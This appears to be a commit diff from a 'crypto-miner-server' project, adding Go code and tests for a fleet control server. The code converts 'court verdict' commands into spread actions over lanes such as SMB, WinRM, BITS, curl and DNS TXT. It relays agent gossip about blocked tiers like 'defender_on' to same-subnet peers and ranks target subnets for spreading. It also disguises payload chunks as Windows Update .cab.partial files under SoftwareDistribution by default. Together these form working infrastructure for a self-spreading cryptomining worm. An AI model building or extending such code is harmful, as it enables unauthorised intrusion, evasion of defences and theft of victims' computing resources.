Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
116
server/internal/ai/court_commands.go
Normal file
116
server/internal/ai/court_commands.go
Normal file
@@ -0,0 +1,116 @@
|
||||
package ai
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/clearance"
|
||||
)
|
||||
|
||||
const CourtRetryClearanceLevel = clearance.L4
|
||||
|
||||
// Staging spread lanes dispatch stage_fetch; others use discover_and_join.
|
||||
var stagingSpreadLanes = map[string]bool{
|
||||
"bits_curl": true, "bits": true, "curl": true,
|
||||
"do_peer": true, "wsus_cache_peer": true,
|
||||
"dns_txt": true, "webrtc_mesh": true, "stage_fetch": true,
|
||||
}
|
||||
|
||||
// ExpandCourtCommands maps court verdict types to executable fleet commands.
|
||||
func ExpandCourtCommands(cmds []Command) []Command {
|
||||
if len(cmds) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]Command, 0, len(cmds))
|
||||
for _, c := range cmds {
|
||||
switch c.Type {
|
||||
case CmdSpreadRetryLane:
|
||||
out = append(out, ResolveSpreadRetryLane(c.Args))
|
||||
case CmdSkipTier:
|
||||
out = append(out, ResolveSkipTier(c.Args))
|
||||
default:
|
||||
out = append(out, c)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ResolveSpreadRetryLane turns spread_retry_lane into discover_and_join or stage_fetch.
|
||||
func ResolveSpreadRetryLane(args map[string]interface{}) Command {
|
||||
if args == nil {
|
||||
args = map[string]interface{}{}
|
||||
}
|
||||
lane := strings.TrimSpace(fmt.Sprint(args["lane"]))
|
||||
if lane == "" {
|
||||
if v, ok := args["tier"].(string); ok {
|
||||
lane = strings.TrimSpace(v)
|
||||
}
|
||||
}
|
||||
norm := normalizeCommandType(lane)
|
||||
if stagingSpreadLanes[norm] {
|
||||
out := map[string]interface{}{}
|
||||
if data, ok := args["data"]; ok {
|
||||
out["data"] = data
|
||||
} else if manifest, ok := args["manifest"]; ok {
|
||||
out["data"] = manifest
|
||||
}
|
||||
return Command{Type: CmdStageFetch, Args: out}
|
||||
}
|
||||
out := map[string]interface{}{}
|
||||
if lane != "" {
|
||||
out["lane"] = lane
|
||||
}
|
||||
for _, k := range []string{"host", "subnet", "template"} {
|
||||
if v, ok := args[k]; ok {
|
||||
out[k] = v
|
||||
}
|
||||
}
|
||||
return Command{Type: CmdDiscoverAndJoin, Args: out}
|
||||
}
|
||||
|
||||
// ResolveSkipTier turns skip_tier into reorder_tiers with skip_tiers.
|
||||
func ResolveSkipTier(args map[string]interface{}) Command {
|
||||
if args == nil {
|
||||
args = map[string]interface{}{}
|
||||
}
|
||||
tier := strings.TrimSpace(fmt.Sprint(args["tier"]))
|
||||
skips := []interface{}{}
|
||||
if tier != "" && tier != "<nil>" {
|
||||
skips = append(skips, tier)
|
||||
}
|
||||
if raw, ok := args["skip_tiers"]; ok {
|
||||
switch v := raw.(type) {
|
||||
case []interface{}:
|
||||
skips = append(skips, v...)
|
||||
case []string:
|
||||
for _, s := range v {
|
||||
skips = append(skips, s)
|
||||
}
|
||||
case string:
|
||||
if strings.TrimSpace(v) != "" {
|
||||
skips = append(skips, strings.TrimSpace(v))
|
||||
}
|
||||
}
|
||||
}
|
||||
return Command{Type: CmdReorderTiers, Args: map[string]interface{}{"skip_tiers": skips}}
|
||||
}
|
||||
|
||||
// CourtCommandNeedsRetryElevation reports commands that require L4 before court-ordered retry.
|
||||
func CourtCommandNeedsRetryElevation(cmd Command) bool {
|
||||
switch cmd.Type {
|
||||
case CmdSpreadRetryLane, CmdSkipTier, CmdDiscoverAndJoin, CmdStageFetch, CmdReorderTiers:
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
// CourtCommandsNeedRetryElevation is true when any parsed command needs L4 elevation.
|
||||
func CourtCommandsNeedRetryElevation(cmds []Command) bool {
|
||||
for _, c := range cmds {
|
||||
if CourtCommandNeedsRetryElevation(c) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
73
server/internal/ai/court_commands_test.go
Normal file
73
server/internal/ai/court_commands_test.go
Normal file
@@ -0,0 +1,73 @@
|
||||
package ai
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestResolveSpreadRetryLaneStaging(t *testing.T) {
|
||||
cmd := ResolveSpreadRetryLane(map[string]interface{}{
|
||||
"lane": "dns_txt",
|
||||
"data": `{"method":"curl"}`,
|
||||
})
|
||||
if cmd.Type != CmdStageFetch {
|
||||
t.Fatalf("type=%s want stage_fetch", cmd.Type)
|
||||
}
|
||||
if cmd.Args["data"] == nil {
|
||||
t.Fatalf("args=%+v", cmd.Args)
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveSpreadRetryLaneDeploy(t *testing.T) {
|
||||
cmd := ResolveSpreadRetryLane(map[string]interface{}{"lane": "winrm"})
|
||||
if cmd.Type != CmdDiscoverAndJoin {
|
||||
t.Fatalf("type=%s", cmd.Type)
|
||||
}
|
||||
if cmd.Args["lane"] != "winrm" {
|
||||
t.Fatalf("lane=%v", cmd.Args["lane"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveSkipTier(t *testing.T) {
|
||||
cmd := ResolveSkipTier(map[string]interface{}{"tier": "docker"})
|
||||
if cmd.Type != CmdReorderTiers {
|
||||
t.Fatalf("type=%s", cmd.Type)
|
||||
}
|
||||
skips, ok := cmd.Args["skip_tiers"].([]interface{})
|
||||
if !ok || len(skips) != 1 || skips[0] != "docker" {
|
||||
t.Fatalf("skip_tiers=%+v", cmd.Args["skip_tiers"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestExpandCourtCommands(t *testing.T) {
|
||||
out := ExpandCourtCommands([]Command{
|
||||
{Type: CmdSpreadRetryLane, Args: map[string]interface{}{"lane": "smb"}},
|
||||
{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "wsl"}},
|
||||
{Type: CmdNoop, Args: map[string]interface{}{}},
|
||||
})
|
||||
if len(out) != 3 {
|
||||
t.Fatalf("len=%d", len(out))
|
||||
}
|
||||
if out[0].Type != CmdDiscoverAndJoin || out[1].Type != CmdReorderTiers {
|
||||
t.Fatalf("expanded=%+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseCommandsSpreadRetryLane(t *testing.T) {
|
||||
raw := `Verdict: retry dns_txt lane.
|
||||
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`
|
||||
cmds := ParseCommands(raw)
|
||||
if len(cmds) != 1 || cmds[0].Type != CmdSpreadRetryLane {
|
||||
t.Fatalf("cmds=%+v", cmds)
|
||||
}
|
||||
expanded := ExpandCourtCommands(cmds)
|
||||
if len(expanded) != 1 || expanded[0].Type != CmdStageFetch {
|
||||
t.Fatalf("expanded=%+v", expanded)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCourtCommandsNeedRetryElevation(t *testing.T) {
|
||||
if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadRetryLane}}) {
|
||||
t.Fatal("expected spread_retry_lane to need L4")
|
||||
}
|
||||
if CourtCommandsNeedRetryElevation([]Command{{Type: CmdRestartMining}}) {
|
||||
t.Fatal("restart_mining should not require court retry elevation set")
|
||||
}
|
||||
}
|
||||
70
server/internal/api/atlas_gossip.go
Normal file
70
server/internal/api/atlas_gossip.go
Normal file
@@ -0,0 +1,70 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
|
||||
"crypto-miner-server/internal/atlas"
|
||||
)
|
||||
|
||||
func (h *WSHub) handleAgentAtlasGossip(senderID string, payload json.RawMessage) {
|
||||
if !h.serverPolicySnapshot().AtlasLanGossipEnabled {
|
||||
return
|
||||
}
|
||||
var body struct {
|
||||
Hints []atlas.GossipHint `json:"hints"`
|
||||
}
|
||||
if err := json.Unmarshal(payload, &body); err != nil || len(body.Hints) == 0 {
|
||||
return
|
||||
}
|
||||
hints := atlas.NormalizeGossipHints(body.Hints)
|
||||
if len(hints) == 0 {
|
||||
return
|
||||
}
|
||||
h.relayAtlasGossip(senderID, hints)
|
||||
}
|
||||
|
||||
func (h *WSHub) relayAtlasGossip(senderID string, hints []atlas.GossipHint) {
|
||||
senderSubnet := h.agentSubnetFor(senderID)
|
||||
if senderSubnet == "" {
|
||||
return
|
||||
}
|
||||
skips := atlas.SkipsFromHints(hints)
|
||||
if len(skips) == 0 {
|
||||
return
|
||||
}
|
||||
out := Message{
|
||||
Type: "atlas_gossip",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"hints": skips,
|
||||
"source_agent_id": senderID,
|
||||
}),
|
||||
}
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for id, ac := range h.agents {
|
||||
if id == senderID || h.agentSubnet[id] != senderSubnet {
|
||||
continue
|
||||
}
|
||||
if err := ac.SendJSON(out); err != nil {
|
||||
log.Printf("[atlas-gossip] relay to %s: %v", id, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) agentSubnetFor(agentID string) string {
|
||||
h.mu.RLock()
|
||||
subnet := h.agentSubnet[agentID]
|
||||
h.mu.RUnlock()
|
||||
if subnet != "" {
|
||||
return subnet
|
||||
}
|
||||
if h.db == nil {
|
||||
return ""
|
||||
}
|
||||
ag, err := h.db.GetAgent(agentID)
|
||||
if err != nil || ag == nil {
|
||||
return ""
|
||||
}
|
||||
return atlas.SubnetPrefix(ag.IP)
|
||||
}
|
||||
180
server/internal/api/atlas_gossip_test.go
Normal file
180
server/internal/api/atlas_gossip_test.go
Normal file
@@ -0,0 +1,180 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/atlas"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
func connectTestAgentWithIP(t *testing.T, hub *WSHub, agentID, clientIP string) *websocket.Conn {
|
||||
t.Helper()
|
||||
srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||
hdr := http.Header{"X-Forwarded-For": {clientIP}}
|
||||
conn, _, err := websocket.DefaultDialer.Dial(wsURL, hdr)
|
||||
if err != nil {
|
||||
t.Fatalf("dial agent ws: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = conn.Close() })
|
||||
|
||||
authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hostname": "test-host",
|
||||
"platform": "windows",
|
||||
"version": "1.0",
|
||||
})
|
||||
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
if hub.isAgentConnected(agentID) {
|
||||
return conn
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
t.Fatal("agent not connected after auth")
|
||||
return nil
|
||||
}
|
||||
|
||||
func TestAuthResponseAtlasLanGossipPolicy(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{AtlasLanGossipEnabled: true})
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "gossip-policy-agent",
|
||||
"hostname": "host",
|
||||
"platform": "windows",
|
||||
"version": "test",
|
||||
})
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
enabled, ok := body["atlas_lan_gossip_enabled"].(bool)
|
||||
if !ok || !enabled {
|
||||
t.Fatalf("atlas_lan_gossip_enabled = %#v", body["atlas_lan_gossip_enabled"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestAtlasGossipRelaySameSubnet(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{AtlasLanGossipEnabled: true})
|
||||
|
||||
for _, spec := range []struct {
|
||||
id string
|
||||
ip string
|
||||
}{
|
||||
{"gossip-a", "192.168.50.10"},
|
||||
{"gossip-b", "192.168.50.20"},
|
||||
{"gossip-other-subnet", "192.168.51.10"},
|
||||
} {
|
||||
if err := database.UpsertAgent(&models.Agent{
|
||||
ID: spec.id, Name: spec.id, Platform: "windows", Status: "online",
|
||||
IP: spec.ip, LastSeen: time.Now(),
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
connA := connectTestAgentWithIP(t, hub, "gossip-a", "192.168.50.10")
|
||||
connB := connectTestAgentWithIP(t, hub, "gossip-b", "192.168.50.20")
|
||||
connC := connectTestAgentWithIP(t, hub, "gossip-other-subnet", "192.168.51.10")
|
||||
|
||||
recvCh := make(chan Message, 2)
|
||||
go readUntilType(connB, "atlas_gossip", recvCh)
|
||||
go readUntilType(connC, "atlas_gossip", recvCh)
|
||||
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"hints": []atlas.GossipHint{
|
||||
{Tier: "docker", Condition: "no_docker", Reason: "pull failed"},
|
||||
},
|
||||
})
|
||||
if err := connA.WriteJSON(Message{Type: "atlas_gossip", Payload: payload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
select {
|
||||
case msg := <-recvCh:
|
||||
var body struct {
|
||||
Hints []atlas.AtlasSkip `json:"hints"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(body.Hints) != 1 || body.Hints[0].Tier != "docker" {
|
||||
t.Fatalf("unexpected relay hints: %+v", body.Hints)
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("sibling on same /24 did not receive atlas_gossip")
|
||||
}
|
||||
|
||||
select {
|
||||
case <-recvCh:
|
||||
t.Fatal("agent on different /24 should not receive atlas_gossip")
|
||||
case <-time.After(300 * time.Millisecond):
|
||||
}
|
||||
}
|
||||
|
||||
func TestAtlasGossipDisabledNoRelay(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{AtlasLanGossipEnabled: false})
|
||||
|
||||
connA := connectTestAgentWithIP(t, hub, "gossip-off-a", "10.10.0.1")
|
||||
connB := connectTestAgentWithIP(t, hub, "gossip-off-b", "10.10.0.2")
|
||||
|
||||
recvCh := make(chan Message, 1)
|
||||
go readUntilType(connB, "atlas_gossip", recvCh)
|
||||
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"hints": []atlas.GossipHint{{Tier: "wsl", Condition: "defender_on"}},
|
||||
})
|
||||
if err := connA.WriteJSON(Message{Type: "atlas_gossip", Payload: payload}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
select {
|
||||
case msg := <-recvCh:
|
||||
t.Fatalf("unexpected relay when disabled: %+v", msg)
|
||||
case <-time.After(400 * time.Millisecond):
|
||||
}
|
||||
}
|
||||
|
||||
func readUntilType(conn *websocket.Conn, wantType string, out chan<- Message) {
|
||||
deadline := time.Now().Add(3 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type == wantType {
|
||||
out <- msg
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -14,6 +14,7 @@ import (
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
|
||||
@@ -68,15 +69,17 @@ type DeployPlanBody struct {
|
||||
MaxHosts int `json:"max_hosts,omitempty"`
|
||||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||||
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanRequest struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
Platform string `json:"platform"`
|
||||
Services []DeployServiceFinding `json:"services"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
AgentID string `json:"agent_id"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
Campaign string `json:"campaign,omitempty"`
|
||||
Platform string `json:"platform"`
|
||||
Services []DeployServiceFinding `json:"services"`
|
||||
UNCPath string `json:"unc_path,omitempty"`
|
||||
WSUSFormatMimic *bool `json:"wsus_format_mimic,omitempty"`
|
||||
}
|
||||
|
||||
type deployPlanResponse struct {
|
||||
@@ -96,6 +99,7 @@ type DeployPlanHandler struct {
|
||||
publicURL func() string
|
||||
fleetSecret func() string
|
||||
allowlist func() map[string]ServiceDeployLane
|
||||
pathTracer *PathTracerHandler
|
||||
}
|
||||
|
||||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||||
@@ -109,6 +113,11 @@ func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string,
|
||||
}
|
||||
}
|
||||
|
||||
// BindPathTracer wires Path Tracer sessions into spread-route recommendations.
|
||||
func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
|
||||
h.pathTracer = handler
|
||||
}
|
||||
|
||||
// POST /api/v1/agent/deploy-plan
|
||||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||||
var req deployPlanRequest
|
||||
@@ -236,6 +245,66 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
|
||||
if h.pathTracer == nil {
|
||||
return nil
|
||||
}
|
||||
patientID := strings.TrimSpace(req.AgentID)
|
||||
targets := spreadRouteTargetSubnets(h.pathTracer, h.db, patientID)
|
||||
if len(targets) == 0 {
|
||||
return nil
|
||||
}
|
||||
var best *spreadrouter.SpreadRouteHint
|
||||
for _, target := range targets {
|
||||
if hint := h.pathTracer.RecommendSpreadRoute(target, joinLane, patientID); hint != nil {
|
||||
if best == nil || hint.Score > best.Score {
|
||||
dup := *hint
|
||||
best = &dup
|
||||
}
|
||||
}
|
||||
}
|
||||
return best
|
||||
}
|
||||
|
||||
func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Database, agentID string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var out []string
|
||||
add := func(sub string) {
|
||||
sub = spreadrouter.NormalizeSubnet(sub)
|
||||
if sub == "" || seen[sub] {
|
||||
return
|
||||
}
|
||||
seen[sub] = true
|
||||
out = append(out, sub)
|
||||
}
|
||||
if database != nil && agentID != "" {
|
||||
if ag, err := database.GetAgent(agentID); err == nil && ag != nil {
|
||||
add(spreadrouter.SubnetFromIP(ag.IP))
|
||||
}
|
||||
}
|
||||
for _, sess := range traceSessionsSnapshot(pathTracer) {
|
||||
if sess == nil {
|
||||
continue
|
||||
}
|
||||
patientInChain := false
|
||||
for _, hop := range sess.Hops {
|
||||
if hop != nil && hop.AgentID == agentID {
|
||||
patientInChain = true
|
||||
add(spreadrouter.SubnetFromIP(hop.ExternalIP))
|
||||
break
|
||||
}
|
||||
}
|
||||
if !patientInChain && agentID != "" {
|
||||
continue
|
||||
}
|
||||
for _, host := range serviceGraphList(sess.ServiceGraph) {
|
||||
add(host.Subnet)
|
||||
add(spreadrouter.SubnetFromIP(host.Host))
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
||||
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
||||
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
||||
@@ -299,6 +368,17 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
|
||||
|
||||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||||
chunkFile := filepath.Base(build.FileName)
|
||||
if wsusFormatMimicEnabled(req.WSUSFormatMimic) {
|
||||
chunkFile = wsusFormatMimicChunkName(hash, 0)
|
||||
if !strings.Contains(downloadURL, "wsus_wrap=1") {
|
||||
if strings.Contains(downloadURL, "?") {
|
||||
downloadURL += "&wsus_wrap=1"
|
||||
} else {
|
||||
downloadURL += "?wsus_wrap=1"
|
||||
}
|
||||
}
|
||||
}
|
||||
cacheGroup := "af-wsus-" + hash[:8]
|
||||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||||
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
|
||||
@@ -313,7 +393,7 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
|
||||
|
||||
return &StagingManifest{
|
||||
Method: "bits",
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||||
Chunks: []StagingChunk{{URL: downloadURL, File: chunkFile}},
|
||||
SHA256: hash,
|
||||
Dest: dest,
|
||||
Launch: launch,
|
||||
@@ -324,6 +404,13 @@ func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, se
|
||||
}, nil
|
||||
}
|
||||
|
||||
func wsusFormatMimicEnabled(flag *bool) bool {
|
||||
if flag == nil {
|
||||
return true
|
||||
}
|
||||
return *flag
|
||||
}
|
||||
|
||||
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
|
||||
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
|
||||
platform := strings.TrimSpace(req.Platform)
|
||||
|
||||
@@ -58,6 +58,29 @@ func TestBuildPlanWSUSCachePeerLane(t *testing.T) {
|
||||
if !containsStr(plan.Manifest.Dest, "SoftwareDistribution") {
|
||||
t.Fatalf("dest=%q", plan.Manifest.Dest)
|
||||
}
|
||||
if len(plan.Manifest.Chunks) != 1 || !containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") {
|
||||
t.Fatalf("expected format-mimic chunk name, chunks=%+v", plan.Manifest.Chunks)
|
||||
}
|
||||
if !containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") {
|
||||
t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanWSUSCachePeerLaneFormatMimicOff(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
off := false
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1", WSUSFormatMimic: &off,
|
||||
}, "Wuauserv", ServiceDeployLane{Lane: "wsus_cache_peer"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(plan.Manifest.Chunks) != 1 || containsStr(plan.Manifest.Chunks[0].File, ".cab.partial") {
|
||||
t.Fatalf("expected raw chunk filename, chunks=%+v", plan.Manifest.Chunks)
|
||||
}
|
||||
if containsStr(plan.Manifest.Chunks[0].URL, "wsus_wrap=1") {
|
||||
t.Fatalf("url=%q", plan.Manifest.Chunks[0].URL)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlanDNSTXTLane(t *testing.T) {
|
||||
|
||||
156
server/internal/api/download_handler_test.go
Normal file
156
server/internal/api/download_handler_test.go
Normal file
@@ -0,0 +1,156 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAgentBinaryCandidates(t *testing.T) {
|
||||
dir := "/srv/usb"
|
||||
cases := []struct {
|
||||
platform string
|
||||
wantName string
|
||||
wantPath string
|
||||
}{
|
||||
{"windows", "crypto-miner-agent.exe", filepath.Join(dir, "agent", "crypto-miner-agent.exe")},
|
||||
{"mac", "crypto-miner-agent", filepath.Join(dir, "agent", "crypto-miner-agent-darwin")},
|
||||
{"linux", "crypto-miner-agent", filepath.Join(dir, "agent", "crypto-miner-agent-linux")},
|
||||
}
|
||||
for _, tc := range cases {
|
||||
candidates, dlName := agentBinaryCandidates(tc.platform, dir)
|
||||
if dlName != tc.wantName {
|
||||
t.Fatalf("platform=%s dlName=%q want %q", tc.platform, dlName, tc.wantName)
|
||||
}
|
||||
if len(candidates) == 0 || candidates[0] != tc.wantPath {
|
||||
t.Fatalf("platform=%s candidates=%v want first %q", tc.platform, candidates, tc.wantPath)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindAgentBinaryPrefersAgentSubdir(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
agentDir := filepath.Join(root, "agent")
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
nested := filepath.Join(agentDir, "crypto-miner-agent.exe")
|
||||
rootLevel := filepath.Join(root, "crypto-miner-agent.exe")
|
||||
if err := os.WriteFile(nested, []byte("nested-agent"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(rootLevel, []byte("root-agent"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, dlName, ok := findAgentBinary("windows", root)
|
||||
if !ok || got != nested {
|
||||
t.Fatalf("findAgentBinary = %q ok=%v want nested %q", got, ok, nested)
|
||||
}
|
||||
if dlName != "crypto-miner-agent.exe" {
|
||||
t.Fatalf("dlName=%q", dlName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindAgentBinaryFallbackRootLevel(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
bin := filepath.Join(root, "crypto-miner-agent-linux")
|
||||
if err := os.WriteFile(bin, []byte("linux-agent"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, dlName, ok := findAgentBinary("linux", root)
|
||||
if !ok || got != bin {
|
||||
t.Fatalf("findAgentBinary = %q ok=%v", got, ok)
|
||||
}
|
||||
if dlName != "crypto-miner-agent" {
|
||||
t.Fatalf("dlName=%q", dlName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindAgentBinaryMacGenericFallback(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
agentDir := filepath.Join(root, "agent")
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
bin := filepath.Join(agentDir, "crypto-miner-agent")
|
||||
if err := os.WriteFile(bin, []byte("generic-unix-agent"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
got, _, ok := findAgentBinary("mac", root)
|
||||
if !ok || got != bin {
|
||||
t.Fatalf("findAgentBinary = %q ok=%v", got, ok)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindAgentBinaryMissing(t *testing.T) {
|
||||
_, _, ok := findAgentBinary("mac", t.TempDir())
|
||||
if ok {
|
||||
t.Fatal("expected missing binary")
|
||||
}
|
||||
}
|
||||
|
||||
func withAgentBinarySearchDir(t *testing.T, root string) {
|
||||
t.Helper()
|
||||
orig := agentBinarySearchDir
|
||||
agentBinarySearchDir = func() (string, error) { return root, nil }
|
||||
t.Cleanup(func() { agentBinarySearchDir = orig })
|
||||
}
|
||||
|
||||
func TestServeAgentBinaryDownloadWindows(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
bin := filepath.Join(root, "agent", "crypto-miner-agent.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(bin), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
content := []byte("MZ-fake-windows-agent")
|
||||
if err := os.WriteFile(bin, content, 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
withAgentBinarySearchDir(t, root)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/download/agent-windows", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
serveAgentBinary("windows")(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
if rec.Body.String() != string(content) {
|
||||
t.Fatalf("body=%q", rec.Body.String())
|
||||
}
|
||||
if !strings.Contains(rec.Header().Get("Content-Disposition"), "crypto-miner-agent.exe") {
|
||||
t.Fatalf("disposition=%q", rec.Header().Get("Content-Disposition"))
|
||||
}
|
||||
}
|
||||
|
||||
